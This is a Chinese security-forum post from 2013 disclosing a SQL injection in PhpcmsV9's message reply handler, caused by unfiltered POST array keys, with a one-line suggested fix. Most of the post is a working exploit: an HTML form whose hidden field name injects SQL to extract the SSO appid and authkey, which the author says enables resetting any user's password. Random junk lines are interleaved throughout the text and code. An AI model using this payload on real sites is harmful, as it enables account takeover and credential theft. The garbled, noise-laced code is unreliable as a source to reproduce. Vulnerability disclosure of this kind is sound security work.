中国网络渗透测试联盟
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
! g/ C# Q ~9 ^# Y1 O
1 M% Q) a6 d+ b0 E$ T |
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
# D3 ^+ s2 S+ Y
0 q" c1 \) ? c7 ?* H; ^! ~, m
明天再更新下一个漏洞。
$ m5 T. E5 [ [4 w& ]: `, v6 r
详细说明:
% @4 u. A( [9 o: x
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
! G7 b6 u& }. {# n' Z; k
: p* N* R+ ^/ @( U3 v
$messageid = $this->message_db->insert($_POST['info'],true);
[; U0 h. u. l
5 Z* B) Z' n- M2 |4 T0 i
3 x+ F+ G. I5 S
insert方法是key value的,代码如下:
, Q! c* x8 {, K
/ |4 E0 r' a6 e* a. W
public function insert($data, $table, $return_insert_id = false, $replace = false) {
6 r) s3 C2 b, o( y6 R+ n; P3 T( G
if(!is_array( $data ) || $table == '' || count($data) == 0) {
& T2 V) M: K. ^9 L9 ~
return false;
5 j( ]$ ~( }. l+ p0 ]
}
# B6 ^" u- x7 z# ]' O5 x z5 Z
! y3 N5 r8 E. J4 }+ {1 n
$fielddata = array_keys($data);
~: Q3 ~0 w& J$ r; Z' B; d6 i0 P
$valuedata = array_values($data);
# ~5 |( P2 @5 A3 Y% z
array_walk($fielddata, array($this, 'add_special_char'));
; f l6 R( C" Q) f: Q+ j# T# Z) y
array_walk($valuedata, array($this, 'escape_string'));
9 t+ L1 o+ w5 F9 N/ ]( Q4 `: G
}" r U- Z$ } d
$field = implode (',', $fielddata);
y/ M9 r7 Q1 l* J- D, w/ X' k2 \
$value = implode (',', $valuedata);
' ? L- l: V% D, _2 H
8 D/ h$ P, w5 j2 O2 w5 e6 b/ a% @, r- Z
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
5 \* b9 `, G5 h7 r( ]7 J2 }
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
! P% |7 ]' l7 d$ j# b5 o0 q
$return = $this->execute($sql);
% Q+ E1 ]6 ^6 J
return $return_insert_id ? $this->insert_id() : $return;
' y/ ^2 r C% R$ A$ D* K
}
& c/ l' I7 U# a9 [3 c0 r* u
8 ^4 n5 l8 I3 ?% A3 y# j6 H
- K7 n }/ L! I% m0 a* ]7 j. a$ R
嗯,很遗憾的是
0 |( d" s7 ]$ w& S: @: X
3 p: s1 ?' q1 b3 a0 o5 J
array_walk($fielddata, array($this, 'add_special_char'));
2 Y1 Y; l, p+ P' j& v
# i! R, ~% W: }& p2 i ?2 n$ K
# L, w0 d, T$ d) B# w
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
' G: F0 |5 g% E8 z# @
1 Q+ U3 w2 u( k
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
- Q9 U4 ?; S- j+ c3 N3 L. r
% x- w" h- i4 z$ m, F* e' }
漏洞证明:
! d; s a/ H+ e* |% d' ]0 h) X
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
1 G" d" z0 x1 Y4 x4 O( Z" ~- i8 w
[attach]200[/attach]
4 o% i2 p/ X. Q/ Y
1 w# G/ z0 | R0 n
表单如下:用户名什么的得自己改一改。
- D y6 }, s) a$ N- r
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
& ?4 C B1 y0 X9 Z7 ]8 y+ K
<table width="100%" cellspacing="0" class="table_form">
4 {* r% v/ K% m8 d
<tr>
+ W% k& D0 D @( D
<th>标 题:</th>
3 y( x ~7 k8 B1 ~
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
* W( T4 D4 G; b+ ^
</tr>
0 e- S, h9 m* d# G7 S
<tr>
) z# m e& O1 {1 ] \! E
<th>内 容:</th>
4 B$ j: ]1 e% x, c3 _
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
( R- d# ]7 x5 X
</tr>
4 w8 U" ~( q; l1 D9 D
<input type="hidden" name="info[replyid]" value="2" />
6 g! N* `5 E4 s( h$ q1 x& Y) i
<input type="hidden" name="info[send_to_id]" value="cc" />
) N% l% N+ m, o3 k) E$ J; l
<input type="hidden" name="info[send_from_id]" value="hh">
0 y. W0 C2 K8 q% n1 k }
<!-- 漏洞的利用重点在这里开始 -->
3 _- B4 E5 ?6 A* `# R2 l
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
8 G& c6 }- r; a- @
<!-- 漏洞的利用重点在这里结束 -->
. J8 v6 o5 g; V0 r
<tr>
' s" `. M5 c$ U( O: w( G
<th>验证码:</th>
3 X) U x. C9 U+ \
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
/ C9 L. @$ B$ K4 `. _
</tr>
' P0 M. a/ ^3 ^' X, Z
<tr>
! k7 z2 c U. ]: g6 M5 F/ S! M
<td></td>
. p# ?2 m8 E2 w: t
<td colspan="2"><label>
1 [: g* p% c9 j0 ?8 Q
<input type="submit" name="
dos
ubmit" id="dosubmit" value="确 定" class="button"/>
0 Q+ T- v; b4 E/ b$ |
</label></td>
0 r0 ~2 A- K: @. `2 l
</tr>
$ C, \, w9 F* q3 e2 S* k/ c0 e
</table>
: v R$ y" d. r
</form>
+ f7 K, \4 ]: V
在add_special_char函数内对key做过滤就可以了。
$ o, J- O/ @7 F) l/ W
' M+ C q3 v8 s8 {6 ~2 u* _9 y
! t* j- V# V D+ o1 Y2 H
9 ?" U* k0 n/ e
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2